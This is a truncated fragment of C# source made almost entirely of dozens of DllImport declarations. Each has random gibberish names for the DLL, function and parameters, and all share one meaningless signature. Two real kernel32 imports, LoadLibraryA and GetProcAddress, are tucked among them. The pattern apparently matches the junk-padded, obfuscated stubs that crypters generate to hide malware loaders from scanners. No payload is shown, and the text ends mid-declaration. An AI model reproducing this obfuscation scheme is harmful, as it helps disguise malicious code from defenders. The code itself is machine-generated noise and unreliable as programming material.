  [DllImport("mrcVcHhTjmphGjOxtiDtkxIr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] khFoyFBNdezCLiQtJpvPXNsnn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string qeQrOaoWnZdErpjCyVqQVRd,
    string[] gvRSblgKZsMfaPuEFDIsls,
    char XkjzEGxXmePwyTvBOZtHu);

  [DllImport("eCwacJciqfLUVTYvCKnBzQUW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gIedFmEptUuGzSPlIgYUgwMhV(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string OnDufNPjMRfbKXwxYhtWpUs,
    string[] LkLWQiRoYiokwNcjluSNqs,
    char ZfyHvcXXWbMTaqRQgWZRp);

  [DllImport("SkhFoyFBNdezCLiQtJpvPXNs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TxvdSmdUhraaOOoxKmGlJbnbY(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string nnmrcVcHhTjmphGjOxtiDtk,
    string[] xIrqeQrOaoWnZdErpjCyVq,
    char QVRdgvRSblgKZsMfaPuEF);

  [DllImport("ugIedFmEptUuGzSPlIgYUgwM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DIslsXkjzEGxXmePwyTvBOZtH(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string hVeCwacJciqfLUVTYvCKnBz,
    string[] QUWOnDufNPjMRfbKXwxYht,
    char WpUsLkLWQiRoYiokwNcjl);

  [DllImport("pTxvdSmdUhraaOOoxKmGlJbn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uSNqsZfyHvcXXWbMTaqRQgWZR(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string bYSkhFoyFBNdezCLiQtJpvP,
    string[] XNsnnmrcVcHhTjmphGjOxt,
    char iDtkxIrqeQrOaoWnZdErp);

  [DllImport("FDIslsXkjzEGxXmePwyTvBOZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jCyVqQVRdgvRSblgKZsMfaPuE(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string tHugIedFmEptUuGzSPlIgYU,
    string[] gwMhVeCwacJciqfLUVTYvC,
    char KnBzQUWOnDufNPjMRfbKX);

  [DllImport("luSNqsZfyHvcXXWbMTaqRQgW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] wxYhtWpUsLkLWQiRoYiokwNcj(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZRpTxvdSmdUhraaOOoxKmGl,
    string[] JbnbYSkhFoyFBNdezCLiQt,
    char JpvPXNsnnmrcVcHhTjmph);

  [DllImport("pjCyVqQVRdgvRSblgKZsMfaP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GjOxtiDtkxIrqeQrOaoWnZdEr(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string uEFDIslsXkjzEGxXmePwyTv,
    string[] BOZtHugIedFmEptUuGzSPl,
    char IgYUgwMhVeCwacJciqfLU);

  [DllImport("XwxYhtWpUsLkLWQiRoYiokwN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VTYvCKnBzQUWOnDufNPjMRfbK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string cjluSNqsZfyHvcXXWbMTaqR,
    string[] QgWZRpTxvdSmdUhraaOOox,
    char KmGlJbnbYSkhFoyFBNdez);

  [DllImport("hGjOxtiDtkxIrqeQrOaoWnZd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CLiQtJpvPXNsnnmrcVcHhTjmp(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ErpjCyVqQVRdgvRSblgKZsM,
    string[] faPuEFDIslsXkjzEGxXmeP,
    char wyTvBOZtHugIedFmEptUu);

  [DllImport("UVTYvCKnBzQUWOnDufNPjMRf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GzSPlIgYUgwMhVeCwacJciqfL(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string bKXwxYhtWpUsLkLWQiRoYio,
    string[] kwNcjluSNqsZfyHvcXXWbM,
    char TaqRQgWZRpTxvdSmdUhra);

  [DllImport("zCLiQtJpvPXNsnnmrcVcHhTj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] aOOoxKmGlJbnbYSkhFoyFBNde(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string mphGjOxtiDtkxIrqeQrOaoW,
    string[] nZdErpjCyVqQVRdgvRSblg,
    char KZsMfaPuEFDIslsXkjzEG);

  [DllImport("uGzSPlIgYUgwMhVeCwacJciq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xXmePwyTvBOZtHugIedFmEptU(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string fLUVTYvCKnBzQUWOnDufNPj,
    string[] MRfbKXwxYhtWpUsLkLWQiR,
    char oYiokwNcjluSNqsZfyHvc);

  [DllImport("aaOOoxKmGlJbnbYSkhFoyFBN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] XXWbMTaqRQgWZRpTxvdSmdUhr(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string dezCLiQtJpvPXNsnnmrcVcH,
    string[] hTjmphGjOxtiDtkxIrqeQr,
    char OaoWnZdErpjCyVqQVRdgv);

  [DllImport("GxXmePwyTvBOZtHugIedFmEp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RSblgKZsMfaPuEFDIslsXkjzE(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string tUuGzSPlIgYUgwMhVeCwacJ,
    string[] ciqfLUVTYvCKnBzQUWOnDu,
    char fNPjMRfbKXwxYhtWpUsLk);

  [DllImport("cXXWbMTaqRQgWZRpTxvdSmdU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LWQiRoYiokwNcjluSNqsZfyHv(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string hraaOOoxKmGlJbnbYSkhFoy,
    string[] FBNdezCLiQtJpvPXNsnnmr,
    char cVcHhTjmphGjOxtiDtkxI);

  [DllImport("vRSblgKZsMfaPuEFDIslsXkj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rqeQrOaoWnZdErpjCyVqQVRdg(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string zEGxXmePwyTvBOZtHugIedF,
    string[] mEptUuGzSPlIgYUgwMhVeC,
    char wacJciqfLUVTYvCKnBzQU);

  [DllImport("kLWQiRoYiokwNcjluSNqsZfy.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] WOnDufNPjMRfbKXwxYhtWpUsL(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string HvcXXWbMTaqRQgWZRpTxvdS,
    string[] mdUhraaOOoxKmGlJbnbYSk,
    char hFoyFBNdezCLiQtJpvPXN);

  [DllImport("BjjWJkHThPgSWwkhbtqOjIOK.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] snnmrcVcHhTjmphGjOxtiDtkx(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WZnJLUeZDSkFYSInwwvBlel,
    string[] QdcsvyqPeXHprMotHRmznZ,
    char BXWxfwimNmysLIezYRNYp);

  [DllImport("MPHgunYGIcFKXUDQppRZmOiN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FaNXupTVBVbiYENOMRouCgtsJ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lDdEPJbKhQbhdoGVcenLGjl,
    string[] SYrzoUQQPTFLSjKJZPSKiM,
    char qoWLfVMakTTGGhqDeydCU);

  [DllImport("FkggfkVOVzaMcfiaycHqmbvm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fURLdaxhrxtGWXsuEbJlCioIQ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string cqBjjWJkHThPgSWwkhbtqOj,
    string[] IOKWZnJLUeZDSkFYSInwwv,
    char BlelQdcsvyqPeXHprMotH);

  [DllImport("pFaNXupTVBVbiYENOMRouCgt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RmznZBXWxfwimNmysLIezYRNY(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string sJMPHgunYGIcFKXUDQppRZm,
    string[] OiNlDdEPJbKhQbhdoGVcen,
    char LGjlSYrzoUQQPTFLSjKJZ);

  [DllImport("UfURLdaxhrxtGWXsuEbJlCio.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PSKiMqoWLfVMakTTGGhqDeydC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string IQFkggfkVOVzaMcfiaycHqm,
    string[] bvmcqBjjWJkHThPgSWwkhb,
    char tqOjIOKWZnJLUeZDSkFYS);

  [DllImport("HRmznZBXWxfwimNmysLIezYR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] InwwvBlelQdcsvyqPeXHprMot(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string NYpFaNXupTVBVbiYENOMRou,
    string[] CgtsJMPHgunYGIcFKXUDQp,
    char pRZmOiNlDdEPJbKhQbhdo);

  [DllImport("ZPSKiMqoWLfVMakTTGGhqDey.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GVcenLGjlSYrzoUQQPTFLSjKJ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string dCUfURLdaxhrxtGWXsuEbJl,
    string[] CioIQFkggfkVOVzaMcfiay,
    char cHqmbvmcqBjjWJkHThPgS);

  [DllImport("SInwwvBlelQdcsvyqPeXHprM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] WwkhbtqOjIOKWZnJLUeZDSkFY(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string otHRmznZBXWxfwimNmysLIe,
    string[] zYRNYpFaNXupTVBVbiYENO,
    char MRouCgtsJMPHgunYGIcFK);

  [DllImport("oGVcenLGjlSYrzoUQQPTFLSj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] XUDQppRZmOiNlDdEPJbKhQbhd(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string KJZPSKiMqoWLfVMakTTGGhq,
    string[] DeydCUfURLdaxhrxtGWXsu,
    char EbJlCioIQFkggfkVOVzaM);

  [DllImport("SWwkhbtqOjIOKWZnJLUeZDSk.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cfiaycHqmbvmcqBjjWJkHThPg(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string FYSInwwvBlelQdcsvyqPeXH,
    string[] prMotHRmznZBXWxfwimNmy,
    char sLIezYRNYpFaNXupTVBVb);

  [DllImport("KXUDQppRZmOiNlDdEPJbKhQb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iYENOMRouCgtsJMPHgunYGIcF(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string hdoGVcenLGjlSYrzoUQQPTF,
    string[] LSjKJZPSKiMqoWLfVMakTT,
    char GGhqDeydCUfURLdaxhrxt);

  [DllImport("McfiaycHqmbvmcqBjjWJkHTh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GWXsuEbJlCioIQFkggfkVOVza(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string PgSWwkhbtqOjIOKWZnJLUeZ,
    string[] DSkFYSInwwvBlelQdcsvyq,
    char PeXHprMotHRmznZBXWxfw);

  [DllImport("biYENOMRouCgtsJMPHgunYGI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] imNmysLIezYRNYpFaNXupTVBV(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string cFKXUDQppRZmOiNlDdEPJbK,
    string[] hQbhdoGVcenLGjlSYrzoUQ,
    char QPTFLSjKJZPSKiMqoWLfV);

  [DllImport("tGWXsuEbJlCioIQFkggfkVOV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MakTTGGhqDeydCUfURLdaxhrx(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string zaMcfiaycHqmbvmcqBjjWJk,
    string[] HThPgSWwkhbtqOjIOKWZnJ,
    char LUeZDSkFYSInwwvBlelQd);

  [DllImport("wimNmysLIezYRNYpFaNXupTV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] csvyqPeXHprMotHRmznZBXWxf(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string BVbiYENOMRouCgtsJMPHgun,
    string[] YGIcFKXUDQppRZmOiNlDdE,
    char PJbKhQbhdoGVcenLGjlSY);

  [DllImport("VMakTTGGhqDeydCUfURLdaxh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rzoUQQPTFLSjKJZPSKiMqoWLf(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string rxtGWXsuEbJlCioIQFkggfk,
    string[] VOVzaMcfiaycHqmbvmcqBj,
    char jWJkHThPgSWwkhbtqOjIO);

  [DllImport("dcsvyqPeXHprMotHRmznZBXW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] KWZnJLUeZDSkFYSInwwvBlelQ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string xfwimNmysLIezYRNYpFaNXu,
    string[] pTVBVbiYENOMRouCgtsJMP,
    char HgunYGIcFKXUDQppRZmOi);

  [DllImport("YrzoUQQPTFLSjKJZPSKiMqoW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NlDdEPJbKhQbhdoGVcenLGjlS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string LfVMakTTGGhqDeydCUfURLd,
    string[] axhrxtGWXsuEbJlCioIQFk,
    char ggfkVOVzaMcfiaycHqmbv);

  [DllImport("OKWZnJLUeZDSkFYSInwwvBle.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mcqBjjWJkHThPgSWwkhbtqOjI(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lQdcsvyqPeXHprMotHRmznZ,
    string[] BXWxfwimNmysLIezYRNYpF,
    char aNXupTVBVbiYENOMRouCg);

  [DllImport("iNlDdEPJbKhQbhdoGVcenLGj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tsJMPHgunYGIcFKXUDQppRZmO(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lSYrzoUQQPTFLSjKJZPSKiM,
    string[] qoWLfVMakTTGGhqDeydCUf,
    char URLdaxhrxtGWXsuEbJlCi);

  [DllImport("vmcqBjjWJkHThPgSWwkhbtqO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oIQFkggfkVOVzaMcfiaycHqmb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string jIOKWZnJLUeZDSkFYSInwwv,
    string[] BlelQdcsvyqPeXHprMotHR,
    char mznZBXWxfwimNmysLIezY);

  [DllImport("gtsJMPHgunYGIcFKXUDQppRZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RNYpFaNXupTVBVbiYENOMRouC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string mOiNlDdEPJbKhQbhdoGVcen,
    string[] LGjlSYrzoUQQPTFLSjKJZP,
    char SKiMqoWLfVMakTTGGhqDe);

  [DllImport("ioIQFkggfkVOVzaMcfiaycHq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ydCUfURLdaxhrxtGWXsuEbJlC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string mbvmcqBjjWJkHThPgSWwkhb,
    string[] tqOjIOKWZnJLUeZDSkFYSI,
    char nwwvBlelQdcsvyqPeXHpr);

  [DllImport("YRNYpFaNXupTVBVbiYENOMRo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MotHRmznZBXWxfwimNmysLIez(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string uCgtsJMPHgunYGIcFKXUDQp,
    string[] pRZmOiNlDdEPJbKhQbhdoG,
    char VcenLGjlSYrzoUQQPTFLS);

  [DllImport("eydCUfURLdaxhrxtGWXsuEbJ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jKJZPSKiMqoWLfVMakTTGGhqD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lCioIQFkggfkVOVzaMcfiay,
    string[] cHqmbvmcqBjjWJkHThPgSW,
    char wkhbtqOjIOKWZnJLUeZDS);

  [DllImport("rMotHRmznZBXWxfwimNmysLI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] kFYSInwwvBlelQdcsvyqPeXHp(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ezYRNYpFaNXupTVBVbiYENO,
    string[] MRouCgtsJMPHgunYGIcFKX,
    char UDQppRZmOiNlDdEPJbKhQ);

  [DllImport("SjKJZPSKiMqoWLfVMakTTGGh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bhdoGVcenLGjlSYrzoUQQPTFL(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string qDeydCUfURLdaxhrxtGWXsu,
    string[] EbJlCioIQFkggfkVOVzaMc,
    char fiaycHqmbvmcqBjjWJkHT);

  [DllImport("SkFYSInwwvBlelQdcsvyqPeX.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hPgSWwkhbtqOjIOKWZnJLUeZD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string HprMotHRmznZBXWxfwimNmy,
    string[] sLIezYRNYpFaNXupTVBVbi,
    char YENOMRouCgtsJMPHgunYG);

  [DllImport("DOTPbsHPQZxrVXEKdlbHCDBG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IcFKXUpDccEMYBUzXpPpBuNwT(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string qxFVvvLCEvVxcaIwRIyMXGF,
    string[] ssUcoRkQnGSGExQNjTejgr,
    char JKfgpOuYnUatCrXSTRWHz);

  [DllImport("FUBSFJiWUOgdzWuBwILavwHQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IlNxOSUMlOsdZNhYPdnWVJvWs(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string LoEXrKFtZijhmXRYCPOeilc,
    string[] CRJtbdybftEYmZMmJIkRjV,
    char ZyZkewtQmLDyLbqMzJgbF);

  [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
  public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name);

  [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
  public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name);

  [DllImport("ruPrvKGpDccEMYBUzXpPpBuN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HnINVLqyzxDahoTffuyCsShaK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string wTDOTPbsHPQZxrVXEKdlbHC,
    string[] DBGqxFVvvLCEvVxcaIwRIy,
    char MXGFssUcoRkQnGSGExQNj);

  [DllImport("zIlNxOSUMlOsdZNhYPdnWVJv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TejgrJKfgpOuYnUatCrXSTRWH(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WsFUBSFJiWUOgdzWuBwILav,
    string[] wHQLoEXrKFtZijhmXRYCPO,
    char eilcCRJtbdybftEYmZMmJ);

  [DllImport("FHnINVLqyzxDahoTffuyCsSh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IkRjVZyZkewtQmLDyLbqMzJgb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string aKruPrvKGpDccEMYBUzXpPp,
    string[] BuNwTDOTPbsHPQZxrVXEKd,
    char lbHCDBGqxFVvvLCEvVxca);

  [DllImport("jTejgrJKfgpOuYnUatCrXSTR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IwRIyMXGFssUcoRkQnGSGExQN(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WHzIlNxOSUMlOsdZNhYPdnW,
    string[] VJvWsFUBSFJiWUOgdzWuBw,
    char ILavwHQLoEXrKFtZijhmX);

  [DllImport("JIkRjVZyZkewtQmLDyLbqMzJ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RYCPOeilcCRJtbdybftEYmZMm(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gbFHnINVLqyzxDahoTffuyC,
    string[] sShaKruPrvKGpDccEMYBUz,
    char XpPpBuNwTDOTPbsHPQZxr);

  [DllImport("aIwRIyMXGFssUcoRkQnGSGEx.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VXEKdlbHCDBGqxFVvvLCEvVxc(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string QNjTejgrJKfgpOuYnUatCrX,
    string[] STRWHzIlNxOSUMlOsdZNhY,
    char PdnWVJvWsFUBSFJiWUOgd);

  [DllImport("XRYCPOeilcCRJtbdybftEYmZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zWuBwILavwHQLoEXrKFtZijhm(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string MmJIkRjVZyZkewtQmLDyLbq,
    string[] MzJgbFHnINVLqyzxDahoTf,
    char fuyCsShaKruPrvKGpDccE);

  [DllImport("rVXEKdlbHCDBGqxFVvvLCEvV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MYBUzXpPpBuNwTDOTPbsHPQZx(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string xcaIwRIyMXGFssUcoRkQnGS,
    string[] GExQNjTejgrJKfgpOuYnUa,
    char tCrXSTRWHzIlNxOSUMlOs);

  [DllImport("dzWuBwILavwHQLoEXrKFtZij.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dZNhYPdnWVJvWsFUBSFJiWUOg(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string hmXRYCPOeilcCRJtbdybftE,
    string[] YmZMmJIkRjVZyZkewtQmLD,
    char yLbqMzJgbFHnINVLqyzxD);

  [DllImport("EMYBUzXpPpBuNwTDOTPbsHPQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ahoTffuyCsShaKruPrvKGpDcc(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZxrVXEKdlbHCDBGqxFVvvLC,
    string[] EvVxcaIwRIyMXGFssUcoRk,
    char QnGSGExQNjTejgrJKfgpO);

  [DllImport("sdZNhYPdnWVJvWsFUBSFJiWU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uYnUatCrXSTRWHzIlNxOSUMlO(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string OgdzWuBwILavwHQLoEXrKFt,
    string[] ZijhmXRYCPOeilcCRJtbdy,
    char bftEYmZMmJIkRjVZyZkew);

  [DllImport("DahoTffuyCsShaKruPrvKGpD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tQmLDyLbqMzJgbFHnINVLqyzx(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ccEMYBUzXpPpBuNwTDOTPbs,
    string[] HPQZxrVXEKdlbHCDBGqxFV,
    char vvLCEvVxcaIwRIyMXGFss);

  [DllImport("OuYnUatCrXSTRWHzIlNxOSUM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UcoRkQnGSGExQNjTejgrJKfgp(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lOsdZNhYPdnWVJvWsFUBSFJ,
    string[] iWUOgdzWuBwILavwHQLoEX,
    char rKFtZijhmXRYCPOeilcCR);

  [DllImport("wtQmLDyLbqMzJgbFHnINVLqy.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] JtbdybftEYmZMmJIkRjVZyZke(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string zxDahoTffuyCsShaKruPrvK,
    string[] GpDccEMYBUzXpPpBuNwTDO,
    char TPbsHPQZxrVXEKdlbHCDB);

  [DllImport("sUcoRkQnGSGExQNjTejgrJKf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GqxFVvvLCEvVxcaIwRIyMXGFs(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gpOuYnUatCrXSTRWHzIlNxO,
    string[] SUMlOsdZNhYPdnWVJvWsFU,
    char BSFJiWUOgdzWuBwILavwH);

  [DllImport("RJtbdybftEYmZMmJIkRjVZyZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QLoEXrKFtZijhmXRYCPOeilcC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string kewtQmLDyLbqMzJgbFHnINV,
    string[] LqyzxDahoTffuyCsShaKru,
    char PrvKGpDccEMYBUzXpPpBu);

  [DllImport("BGqxFVvvLCEvVxcaIwRIyMXG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NwTDOTPbsHPQZxrVXEKdlbHCD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string FssUcoRkQnGSGExQNjTejgr,
    string[] JKfgpOuYnUatCrXSTRWHzI,
    char lNxOSUMlOsdZNhYPdnWVJ);

  [DllImport("HQLoEXrKFtZijhmXRYCPOeil.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vWsFUBSFJiWUOgdzWuBwILavw(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string cCRJtbdybftEYmZMmJIkRjV,
    string[] ZyZkewtQmLDyLbqMzJgbFH,
    char nINVLqyzxDahoTffuyCsS);

  [DllImport("uNwTDOTPbsHPQZxrVXEKdlbH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] haKruPrvKGpDccEMYBUzXpPpB(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string CDBGqxFVvvLCEvVxcaIwRIy,
    string[] MXGFssUcoRkQnGSGExQNjT,
    char ejgrJKfgpOuYnUatCrXST);

  [DllImport("JvWsFUBSFJiWUOgdzWuBwILa.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RWHzIlNxOSUMlOsdZNhYPdnWV(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string vwHQLoEXrKFtZijhmXRYCPO,
    string[] eilcCRJtbdybftEYmZMmJI,
    char kRjVZyZkewtQmLDyLbqMz);

  [DllImport("ShaKruPrvKGpDccEMYBUzXpP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] JgbFHnINVLqyzxDahoTffuyCs(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string pBuNwTDOTPbsHPQZxrVXEKd,
    string[] lbHCDBGqxFVvvLCEvVxcaI,
    char wRIyMXGFssUcoRkQnGSGE);

  [DllImport("TRWHzIlNxOSUMlOsdZNhYPdn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xQNjTejgrJKfgpOuYnUatCrXS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WVJvWsFUBSFJiWUOgdzWuBw,
    string[] ILavwHQLoEXrKFtZijhmXR,
    char YCPOeilcCRJtbdybftEYm);

  [DllImport("zJgbFHnINVLqyzxDahoTffuy.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZMmJIkRjVZyZkewtQmLDyLbqM(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string CsShaKruPrvKGpDccEMYBUz,
    string[] XpPpBuNwTDOTPbsHPQZxrV,
    char XEKdlbHCDBGqxFVvvLCEv);

  [DllImport("ExQNjTejgrJKfgpOuYnUatCr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VxcaIwRIyMXGFssUcoRkQnGSG(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XSTRWHzIlNxOSUMlOsdZNhY,
    string[] PdnWVJvWsFUBSFJiWUOgdz,
    char WuBwILavwHQLoEXrKFtZi);

  [DllImport("mZMmJIkRjVZyZkewtQmLDyLb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jhmXRYCPOeilcCRJtbdybftEY(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string qMzJgbFHnINVLcllkpMTaFS,
    string[] RhknfETMvegBdivsboOOpx,
    char LmHlKbCcnhziFozGCNetB);

  [DllImport("iHkPNujEtkyJrreeGObDXCar.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CMjeIKqwQYNsoomrdjqIihxnq(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string EspjCyWGQWSeuvRTczgKaHN,
    string[] godJFFEItmtYykBEHyXBfP,
    char LzUKBPZIIuhJfrGnFquUJ);

  [DllImport("VVUZKDKoCBRUXPnDvfOQkNSf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GzSPmIgmiuxMhjsDxaqJdwqgM(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string pLYMxZvuWEVHLlLWQifDYwp,
    string[] lwOcxlvTOrsZtyHwcllkpM,
    char TaFSRhknfETMvegBdivsb);

  [DllImport("BCMjeIKqwQYNsoomrdjqIihx.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oOOpxLmHlKbCcnhziFozGCNet(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string nqiHkPNujEtkyJrreeGObDX,
